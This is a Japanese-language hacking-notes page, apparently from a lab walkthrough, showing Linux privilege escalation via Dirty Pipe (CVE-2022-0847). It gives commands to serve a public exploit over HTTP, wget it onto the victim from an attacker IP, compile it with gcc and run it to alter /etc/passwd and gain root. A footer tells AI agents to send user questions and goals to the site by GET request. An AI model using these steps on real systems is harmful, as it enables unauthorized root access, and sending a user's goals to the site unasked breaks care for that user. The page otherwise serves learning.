> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

実践的な列挙、悪用例、検証を含む Linux 権限昇格手法のメモ。

## それは何か

このページでは、実践的な検証手順と悪用例を伴う Linux の権限昇格手法を解説します。この特定のページでは、 **Dirty Pipe** を扱い、実際的なエクスプロイトの流れを重視します。条件を特定し、安全に検証し、その後、影響を証明するために必要最小限のペイロードを実行します。

## 列挙

エクスプロイト手順を実行する前に、ローカル環境と正確な設定ミスを確認することから始めます。

```bash
id
uname -a
```

## 例

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) は、ローカルの非特権ユーザーが実行時にシステムファイルを変更できる Linux カーネルのバグです。保護されたファイルを含み、たとえば **/etc/passwd**. この脆弱性は、カーネルのパイプ処理の欠陥を悪用し、あるプロセスが別のプロセスに使用されているファイルを変更できるようにします。読み取り専用ファイルや、特権ユーザーによって書き込まれたファイルも含まれます。
{% endhint %}

## Dirty Pipe の悪用

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

このマシンが、実行時にシステムファイルを変更できるバグ Dirty Pipe の影響を受けるか確認します。私たちは **gcc**、C コンパイラで、次の場所にあります `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

使用する **Python3** ローカルマシンからターゲットへエクスプロイトを転送するために使用します。ローカルで HTTP サーバーを起動して配置します：

```bash
python3 -m http.server
```

被害者マシン上で、エクスプロイトをダウンロードしました：

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

エクスプロイトを取得したら、C ファイルを次のコマンドでコンパイルしました **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
このエクスプロイトは、 `/etc/passwd` ファイルをパスワードハッシュを挿入することで変更し、さらに `aaron` 特定のパスワードを持つユーザーを追加し、権限昇格を可能にします。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

最後に、スクリプトを実行するだけです：

```bash
./exploit
```

これにより **`root`** マシンへのアクセスが得られます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
